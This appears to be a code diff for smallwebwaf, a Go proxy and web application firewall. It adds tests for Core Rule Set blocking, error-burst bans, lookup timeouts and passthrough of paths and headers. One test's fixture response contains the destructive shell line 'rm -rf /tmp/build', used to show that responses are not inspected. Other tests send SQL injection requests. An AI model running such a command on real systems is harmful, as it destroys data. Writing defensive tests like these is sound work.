addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
// The client sends the rest only once the app has received the first
// part: were smallwebwaf to hold the body until the end, it would
// never come.
body, sender := io.Pipe()
go func() {
_, _ = io.WriteString(sender, first+strings.Repeat("b", 2*sizeLimit))
select {
case <-past:
case <-time.After(waitLimit):
t.Error("the app got no more than the Core Rule Set reads " +
"before the whole body was sent")
_ = sender.CloseWithError(io.ErrUnexpectedEOF)
return
}
_, _ = io.WriteString(sender, strings.Repeat("b", rest))
_ = sender.Close()
}()
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", formData)
wantStatus(t, do(t, req), http.StatusOK)
want := int64(len(first) + 2*sizeLimit + rest)
if n := <-got; n != want {
t.Errorf("the app got %d bytes, want %d", n, want)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestClientTooSlowToSendWhatTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
clientRequestTimeout: shortTimeoutSetting, metricsToken: token,
})
conn := dial(t, addr)
send(t, conn, "POST /comment HTTP/1.1\r\nHost: app\r\nContent-Type: "+formData+
"\r\nContent-Length: 100\r\n\r\ncontent=the first bytes")
wantStatus(t, readResponse(t, conn), http.StatusRequestTimeout)
line := out.requestLine(t)
wantLine(t, line, http.StatusRequestTimeout, requestlog.ActionTimedOut)
wantNotSentToTheApp(t, line)
wantLimitHits(t, addr, clientRequestTimeout, 1)
}
func TestBodyOverTheSizeLimitWhileTheCoreRuleSetReadsIt(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: "4K",
requestMaxBytes: sizeLimitSetting, metricsToken: token,
})
// Sent in chunks, its length is not announced, and is found to be over
// the limit as the Core Rule Set reads it.
body := io.MultiReader(strings.NewReader("a=" + strings.Repeat("b", 2*sizeLimit)))
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", formData)
wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge)
line := out.requestLine(t)
wantLine(t, line, http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
wantNotSentToTheApp(t, line)
wantLimitHits(t, addr, requestMaxBytes, 1)
}
// wantNotSentToTheApp checks that the request of line was not sent to the
// app at all.
func wantNotSentToTheApp(t *testing.T, line logLine) {
t.Helper()
_, sent := line.fields["duration_upstream_total"]
if sent {
t.Error("log line has duration_upstream_total, for a request sent to the app")
}
}
func TestResponsesAreNotInspected(t *testing.T) {
t.Parallel()
// A raw shell script, and an SQL error, which the Core Rule Set's rules
// for responses take for a leak.
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
"You have an error in your SQL syntax; check the manual that " +
"corresponds to your MySQL server version\n"
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(page))
})
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page {
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, _, server := startWithClock(t, "", map[string]string{
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
})
for range 2 {
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
// The third refusal in a minute breaks the error burst, and bans the
// client.
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
`instance="app",status_class="4xx"}`, 3)
}
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, _, server := startWithClock(t, "", map[string]string{
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
})
for range 3 {
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
offences := historyOf(t, server, client).Offences
if offences != (ratelimit.Offences{}) {
t.Errorf("history counts the offences %+v, want none", offences)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
wantNoSeries(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
}
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionWAFBlocked)
wantWAF(t, line, new(5), 942100)
// It is an offence as in enforce mode.
want := ratelimit.Offences{WAFBlocked: 1}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
}
func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// status and action are what the request is answered and logged
// with, and alertMode what the alert's detail gives as mode, if
// anything.
status int
action, alertMode string
}{
{
"block", map[string]string{wafMode: block},
http.StatusForbidden, requestlog.ActionWAFBlocked, "",
},
{
"detect", map[string]string{wafMode: detect},
http.StatusOK, requestlog.ActionForward, detect,
},
{
"block in observe mode", map[string]string{wafMode: block, mode: observe},
http.StatusOK, requestlog.ActionForward, observe,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, clk, _, queue := startWithAlerts(t, tc.env)
// The second is a repeat, which the cooldown holds back, and an
// ordinary request raises none.
for range 2 {
s.request(client, sqlInjection, tc.status, tc.action)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
detail := map[string]any{
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
"path": sqlInjection,
}
if tc.alertMode != "" {
detail["mode"] = tc.alertMode
}
wantAlerts(t, queue, alerts.Alert{
Instance: alertInstance,
Time: clk.Now(),
Event: alerts.EventWAFBlock,
Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
if queue.Suppressed() != 1 {
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
}
})
}
}
internal/proxy/countries_test.go
+9 -3
View File
@@ -52,7 +52,7 @@ func TestCountryLists(t *testing.T) {
calls.Add(1)
})
geojsURL, _ := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost}
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -101,6 +101,7 @@ func TestCountryRefusalComesBeforeTheBody(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
deniedCountries: "kp",
})
@@ -147,6 +148,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
allowedCountries: "de",
rateLimitPerMinute: "1",
})
@@ -194,7 +196,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost}
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -280,7 +282,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about.
// what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an
// hour, whether or not a request waits for the answer: on the default
// second, a hold-up of the test process can abandon the request to the
// stand-in, and leave the client unknown.
func startGeoJS(t *testing.T) (string, func() []string) {
t.Helper()
internal/proxy/errorburst_test.go
+395
View File
@@ -0,0 +1,395 @@
package proxy_test
import (
"maps"
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which smallwebwaf refuses
// after a rule file match, or for a missing or wrong token.
type refused int
const (
// blockRule is a request testRules' block rule refuses with 403.
blockRule refused = iota
// banRule is one its ban rule refuses with 403, and bans the client
// for.
banRule
// noMetricsToken is one for the metrics without a token, and
// wrongAdminToken one for the bans with the metrics token, each
// refused with 401.
noMetricsToken
wrongAdminToken
)
// send sends r from the client at from, checks its answer and log line as
// sender.request does, and returns the line.
func (r refused) send(s *sender, from string) logLine {
s.t.Helper()
switch r {
case blockRule:
return s.request(from, blockedPath, http.StatusForbidden,
requestlog.ActionRuleBlocked)
case banRule:
return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
case noMetricsToken:
return s.request(from, proxy.MetricsPath, http.StatusUnauthorized,
requestlog.ActionAdmin)
case wrongAdminToken:
line, _ := s.requestWithHeader(from, proxy.BansPath, "Authorization: "+bearer,
http.StatusUnauthorized, requestlog.ActionAdmin)
return line
}
s.t.Fatalf("no request for the refusal %d", r)
return logLine{}
}
// startForErrorBurst is startWithClock with testRules, both tokens and
// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst(
t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *proxy.Server) {
t.Helper()
settings := map[string]string{
errorBurstThreshold: threshold,
rulesDir: writeRules(t, testRules),
adminToken: adminSecret,
metricsToken: token,
}
maps.Copy(settings, env)
return startWithClock(t, "", settings)
}
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// refusals are four, one over the threshold of three.
refusals []refused
}{
{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}},
{
"missing or wrong token",
[]refused{noMetricsToken, wrongAdminToken, noMetricsToken, wrongAdminToken},
},
{
"a mix ending in a ban rule",
[]refused{blockRule, noMetricsToken, blockRule, banRule},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, _ := startForErrorBurst(t, "3", nil)
// Three refusals break nothing, and the app's answers between
// them are not counted.
for i, r := range tc.refusals[:3] {
line := r.send(s, client)
if line.LimitHit != "" || line.Offence != "" {
t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
"want none", i+1, line.LimitHit, line.Offence)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
}
// The fourth is answered as the others were, breaks the error
// burst, and bans the client.
line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+
"and limit", line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
})
}
}
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, clk, server := startForErrorBurst(t, "2", nil)
start := clk.Now()
blockRule.send(s, client)
wrongAdminToken.send(s, client)
line := blockRule.send(s, client)
expires := start.Add(time.Hour)
if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: expires,
Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 2",
Notes: bans.Notes{
Kind: ratelimit.KindRefusals,
Limit: 2,
Window: minute,
Count: 3,
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: blockedPath,
Status: http.StatusForbidden,
UserAgent: userAgent,
},
Requests: 3,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 2, TokenRefused: 1}
if offences := historyOf(t, server, client).Offences; offences != wantOffences {
t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
`kind="refusals",window="minute"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 2)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="token_refused"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
}
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
errorBurstThreshold: "2",
rulesDir: writeRules(t, testRules),
countryLimitPercent: countryDEHalf,
})
// Half of the threshold would be one, which the second refusal is over.
for range 2 {
line := blockRule.send(s, fromDE)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
blockRule.send(s, fromDE)
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
}
}
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
t.Parallel()
statuses := map[string]int{
"/missing": http.StatusNotFound,
"/private": http.StatusUnauthorized,
"/forbidden": http.StatusForbidden,
}
s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(statuses[r.URL.Path])
}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
for range 2 {
for path, status := range statuses {
s.request(client, path, status, requestlog.ActionForward)
}
}
// The first refusal is one, not over the threshold.
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
// No ban was made, nor its alert raised.
s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
wantAlerts(t, queue)
}
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
threshold string
// broken is whether the 31st refusal breaks the error burst.
broken bool
}{
{"", true},
{off, false},
} {
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
t.Parallel()
env := map[string]string{rulesDir: writeRules(t, testRules)}
if tc.threshold != "" {
env[errorBurstThreshold] = tc.threshold
}
s, _, _ := startWithClock(t, "", env)
var line logLine
for range 31 {
line = blockRule.send(s, client)
}
if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken {
t.Errorf("the 31st refusal broke the error burst: %t, want %t",
broken, tc.broken)
}
})
}
}
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
exempt = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
)
s, _, _ := startForErrorBurst(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt,
})
// A client in SWWAF_ALLOW_NETS still needs the token, but is not
// counted.
for range 3 {
line := noMetricsToken.send(s, allowed)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// One the rate limits do not apply to is.
noMetricsToken.send(s, exempt)
line := wrongAdminToken.send(s, exempt)
if line.LimitHit != requestlog.LimitHitErrorBurst {
t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit)
}
s.get(exempt, http.StatusForbidden, requestlog.ActionBanned)
}
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
t.Parallel()
s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
blockRule.send(s, client)
blockRule.send(s, client)
// Within the same minute, once the ban has ended, the next refusal is
// the first again.
clk.advance(time.Second)
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe,
errorBurstThreshold: "1",
rulesDir: writeRules(t, testRules),
adminToken: adminSecret,
})
start := clk.Now()
held := bans.Ban{
Netblock: netip.MustParsePrefix(otherClient + "/32"),
Start: start,
Expires: start.Add(time.Hour),
Cause: bans.CauseAdmin,
}
server.Ledger.Load([]bans.Ban{held})
// Under a ban, enforce mode would have refused these before the
// endpoint, so their tokens are not counted.
for range 2 {
line := wrongAdminToken.send(s, otherClient)
wantWouldAction(t, line, requestlog.ActionBanned)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// The block rule's refusal, which enforce mode would have answered 403,
// is the second of the client's, and would have banned it.
wrongAdminToken.send(s, client)
line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionRuleBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" {
t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+
"and none", line.LimitHit, line.BanExpires)
}
if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
t.Errorf("bans %+v, want only the one held", got)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 {
t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
}
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
notes.Request.Status != http.StatusForbidden {
t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
notes)
}
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 1", Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe
wantAlerts(t, queue, alert)
}
internal/proxy/history_test.go
+1
View File
@@ -18,6 +18,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "2",
deniedCountries: "kp",
})
internal/proxy/lookup_test.go
+70
View File
@@ -86,6 +86,75 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T)
}
}
func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
t.Parallel()
// The country list has a new client's request wait for its answer,
// which the stand-in for GeoJS gives only once released.
geojsURL, asked, release := startHeldGeoJS(t)
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
deniedCountries: "kp",
})
requestFromDE := func() *http.Request {
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, fromDE)
return req
}
// fromDE's first request arrives two seconds before a minute ends,
// and waits for GeoJS.
first, httpClient := requestFromDE(), newClient(t)
firstEnded := make(chan error, 1)
go func() {
res, err := httpClient.Do(first)
if err == nil {
err = readAnswer(res).err
}
firstEnded <- err
}()
waitUntil(func() bool { return len(asked()) == 1 })
// Half a second into the next minute, the answer is kept, as an edit
// of lookups.json would keep it, while the first request still waits
// for GeoJS. The second request goes on at once, and is counted.
clk.advance(2500 * time.Millisecond)
server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
Country: "DE", Answered: clk.Now(), Used: clk.Now(),
}})
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
// GeoJS answers, and the first request goes on.
release()
err := <-firstEnded
if err != nil {
t.Fatalf("first request: %v", err)
}
wantLine(t, out.requestLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
// The third request's count holds all three: the first was counted
// when it went on, in the minute under way, and the second's count
// was kept.
clk.advance(500 * time.Millisecond)
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
if got := out.requestLines(t, 3)[2].Counts.Minute; got != 3 {
t.Errorf("the third request's count in the minute is %v, want 3", got)
}
}
func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
t.Parallel()
@@ -249,6 +318,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
addLookupHeaders: "true",
})
s := &sender{t: t, addr: addr, out: out}
internal/proxy/observe_test.go
+1
View File
@@ -39,6 +39,7 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
deniedCountries: "kp",
internal/proxy/passthrough_test.go
+88
View File
@@ -74,6 +74,47 @@ func TestPassesRequestAndAnswerUnchanged(t *testing.T) {
wantRequestFields(t, line, addr, len(requestBody), len(answerBody))
}
func TestPassesThePathAsSent(t *testing.T) {
t.Parallel()
for _, path := range []string{
// An encoded slash and a character Go escapes: |, ^, and é sent
// as its UTF-8 bytes.
"/a%2Fb|c", "/feat%2Fx/file^1", "/x%2Fy/café",
// A path starting with //, which Go would send as a scheme and
// host if it were put in URL.Opaque.
"//a%2Fb",
} {
t.Run(path, func(t *testing.T) {
t.Parallel()
saw := make(chan string, 1)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
saw <- r.RequestURI
})
addr, out := startProxy(t, app.URL, nil)
conn := dial(t, addr)
send(t, conn, "GET "+path+"?q=1 HTTP/1.1\r\nHost: "+appHost+"\r\n\r\n")
got := readResponse(t, conn)
if got.status != http.StatusOK {
t.Fatalf("status %d, want %d", got.status, http.StatusOK)
}
target := <-saw
if target != path+"?q=1" {
t.Errorf("app saw %s, want %s", target, path+"?q=1")
}
line := out.requestLine(t)
if line.Path != path {
t.Errorf("log line has path %s, want %s", line.Path, path)
}
})
}
}
// wantAppSaw checks that the app received the test's request unchanged.
func wantAppSaw(t *testing.T, saw appSaw, body []byte) {
t.Helper()
@@ -151,6 +192,36 @@ func wantRequestFields(t *testing.T, line logLine, host string, sent, received i
}
}
func TestAddsNoContentTypeTheAppDidNotSend(t *testing.T) {
t.Parallel()
const typed = "text/plain"
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == "/typed" {
w.Header().Set("Content-Type", typed)
} else {
// The key with no value keeps Go's server from adding one.
w.Header()["Content-Type"] = nil
}
_, _ = io.WriteString(w, "<!doctype html><title>page</title>")
})
addr, _ := startProxy(t, app.URL, nil)
got := get(t, addr, "/")
if got.header.Values("Content-Type") != nil {
t.Errorf("client got Content-Type %q, want none",
got.header.Get("Content-Type"))
}
got = get(t, addr, "/typed")
if got.header.Get("Content-Type") != typed {
t.Errorf("client got Content-Type %q, want %q",
got.header.Get("Content-Type"), typed)
}
}
func TestStreamsTheRequestBody(t *testing.T) {
t.Parallel()
@@ -309,6 +380,23 @@ func echoAfterUpgrade(w http.ResponseWriter, r *http.Request) {
}
}
func TestAnswers502WhenTheAppSwitchesToAnotherProtocol(t *testing.T) {
t.Parallel()
// answerAfterUpgrade switches to websocket whatever the client asked
// for, and ReverseProxy passes on a switch only to the protocol the
// client asked for, here "websocket, foo".
app := startApp(t, answerAfterUpgrade)
addr, out := startProxy(t, app.URL, nil)
conn := dial(t, addr)
send(t, conn, "GET /ws HTTP/1.1\r\nHost: app\r\n"+
"Connection: Upgrade\r\nUpgrade: websocket, foo\r\n\r\n")
wantStatus(t, readResponse(t, conn), http.StatusBadGateway)
wantLine(t, out.requestLine(t), http.StatusBadGateway, requestlog.ActionUpstreamError)
}
func TestServerHasTheDefaultLimits(t *testing.T) {
t.Parallel()
internal/proxy/proxy.go
+56 -27
View File
@@ -21,6 +21,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// How smallwebwaf keeps connections to the app open between requests.
@@ -75,9 +76,10 @@ type Params struct {
// Alerts receive the alert for each ban the proxy makes or makes
// permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, and for GeoJS failing, a fetch of a list failing, a
// query to a DNSBL zone or a check with AbuseIPDB failing, or the day's
// AbuseIPDB checks used up.
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue
}
@@ -144,12 +146,13 @@ func New(params Params) *Server {
NamedNetblocks: params.Config.WatchNets,
Alerts: params.Alerts,
}),
lookupFile: params.LookupFile,
lists: lists,
dnsbl: dnsbl,
abuseIPDB: abuseIPDB,
rules: params.Rules,
alerts: params.Alerts,
lookupFile: params.LookupFile,
lists: lists,
dnsbl: dnsbl,
abuseIPDB: abuseIPDB,
rules: params.Rules,
coreRuleSet: newCoreRuleSet(params.Config),
alerts: params.Alerts,
}
h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL,
@@ -228,26 +231,49 @@ func newReputation(
return lists, dnsbl, abuseIPDB
}
// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies
// up to SWWAF_WAF_BODY_LIMIT, or nil while SWWAF_WAF_MODE is off.
func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
if cfg.WAFMode == config.WAFModeOff {
return nil
}
coreRuleSet, err := waf.New(waf.Params{
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: cfg.WAFBodyLimit,
})
if err != nil {
// The Core Rule Set is built in, and the settings cannot break it:
// the paranoia level is from 1 to 4, the body limit at most 1G, and
// the id of no rule switches nothing off.
panic(err)
}
return coreRuleSet
}
// handler is the proxy. It holds what every request shares; what belongs
// to one request is in a request.
type handler struct {
config *config.Config
requestLog io.Writer
processLog *slog.Logger
errorLog *log.Logger
transport http.RoundTripper
now func() time.Time
metrics *metrics.Metrics
limiter *ratelimit.Limiter
ledger *bans.Ledger
geojs *lookup.GeoJS
anomalies *anomaly.Counters
lookupFile *lookup.File
lists *reputation.Lists
dnsbl *reputation.DNSBL
abuseIPDB *reputation.AbuseIPDB
rules *rules.Files
alerts *alerts.Queue
config *config.Config
requestLog io.Writer
processLog *slog.Logger
errorLog *log.Logger
transport http.RoundTripper
now func() time.Time
metrics *metrics.Metrics
limiter *ratelimit.Limiter
ledger *bans.Ledger
geojs *lookup.GeoJS
anomalies *anomaly.Counters
lookupFile *lookup.File
lists *reputation.Lists
dnsbl *reputation.DNSBL
abuseIPDB *reputation.AbuseIPDB
rules *rules.Files
coreRuleSet *waf.CoreRuleSet
alerts *alerts.Queue
}
// newTransport returns what carries requests to the app. It never goes
@@ -282,9 +308,12 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
// Once the request has ended, before its log line is written.
// Once the request has ended, before its log line is written. The
// last deferred runs first: countRefusal before addToHistory, so that
// a broken error burst is in the client's history.
defer rq.addToHistory()
defer rq.countAnomalies()
defer rq.countRefusal()
refused := rq.check(r.Context())
rq.checked = time.Now()
internal/proxy/proxy_test.go
+9 -2
View File
@@ -85,8 +85,12 @@ const (
